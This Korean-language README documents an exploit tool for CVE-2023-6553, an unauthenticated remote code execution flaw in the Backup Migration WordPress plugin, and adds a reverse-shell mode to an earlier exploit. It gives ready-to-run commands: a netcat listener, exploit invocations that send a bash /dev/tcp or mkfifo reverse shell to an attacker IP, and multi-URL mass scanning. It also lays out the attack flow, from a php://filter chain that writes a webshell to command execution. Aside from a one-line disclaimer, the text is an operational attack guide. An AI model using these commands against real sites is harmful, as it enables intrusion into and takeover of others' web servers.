
이 익스플로잇은 CVE-2023-6553을 기반으로 하며, Chocapik의 원본 익스플로잇을 바탕으로 제작되었습니다. 직접적인 리버스 셸을 얻을 수 있다는 점이 추가되었습니다.
Chocapikk의 CVE-2023-6553 익스플로잇 확장 버전으로, 기존의 대화형 웹셸 위에 단일 명령 리버스 셸 모드를 추가했습니다.
CVE-2023-6553 — Backup Migration WordPress 플러그인(버전 ≤ 1.3.7)의 인증되지 않은 원격 코드 실행 취약점.
이 플러그인은 backup-heart.php를 노출하며, Content-Dir HTTP 헤더에서 PHP 필터 체인을 읽어 인증 또는 검증 없이 include()에 전달합니다. 이로 인해 인증되지 않은 공격자가 조작된 php://filter 체인을 주입하여 임의의 PHP 코드를 실행할 수 있습니다.
원본 익스플로잇은 Chocapikk 가 작성했습니다. 모든 핵심 익스플로잇 로직(필터 체인 생성, 파일 쓰기, 대화형 셸)은 그의 작업입니다. 이 저장소는 리버스 셸 트리거 모드만 확장합니다.
추가된 부분은 다음과 같습니다.
trigger_reverse_shell() 메서드 — 웹셸이 배포된 후(원본과 동일한 프로세스), 리버스 셸 명령을 0 매개변수로 하는 단일 GET 요청을 대화형 셸과 동일하게 보냅니다.main()의 5줄 — -r이 있을 때 interactive_shell()을 trigger_reverse_shell()로 대체합니다.취약점 확인, 파일 쓰기 루프, 복사/unlink, 대화형 모드, 다중 URL 스캔 등 다른 모든 부분은 원본에서 변경되지 않았습니다.
pip install requests rich alive-progress prompt-toolkit php-filter-chain
# 먼저 리스너를 시작합니다.
rlwrap nc -lvnp 4444
# 익스플로잇 실행
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444
대상에서 bash /dev/tcp를 사용할 수 없는 경우 mkfifo를 사용하세요 (nc에 의존):
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444 --shell mkfifo
python3 exploit.py -u http://TARGET/blog
python3 exploit.py -u http://TARGET/blog -c
python3 exploit.py -f urls.txt -t 10 -o vulnerable.txt
-u / --url 대상 기본 URL (예: http://target/blog)
-r / --revshell 리버스 셸 모드 활성화
-l / --lhost 셸을 받을 내 IP (-r 필수)
-p / --lport 리스너 포트 (기본값: 4444)
--shell 셸 유형: bash (기본값) 또는 mkfifo
-c / --check 취약점만 확인, 셸 배포 안 함
-f / --file 스캔할 URL 목록 파일
-t / --threads 다중 URL 스캔 스레드 수 (기본값: 5)
-o / --output 스캔 결과 출력 파일
1. POST /wp-content/plugins/backup-backup/includes/backup-heart.php
Content-Dir: php://filter/...<인코딩된 PHP>
→ 웹셸을 임시 파일에 문자 하나씩 기록
→ 임시 파일을 <random>.php로 복사
2. GET /wp-content/plugins/backup-backup/includes/<random>.php?0=<명령>
→ 백틱 연산자를 통해 명령 실행
→ 대화형 모드: stdin에서 명령을 계속 읽음
→ 리버스 셸 모드: bash/mkfifo 원라이너를 보내 리스너에 연결
3. 정리: unlink(<random>.php)
이 도구는 승인된 침투 테스트 및 보안 연구 목적으로만 사용해야 합니다. 명시적 허가 없이 시스템에 대해 사용하지 마십시오.
| 기능 | 원본 (Chocapikk) | 이 버전 |
|---|
| 대화형 웹셸 | ✅ | ✅ (변경 없음) |
| 리버스 셸 | ❌ | ✅ (-r) |
| 다중 URL 스캔 | ✅ | ✅ (변경 없음) |
| 새 인자 | — | -r, -l, -p, --shell |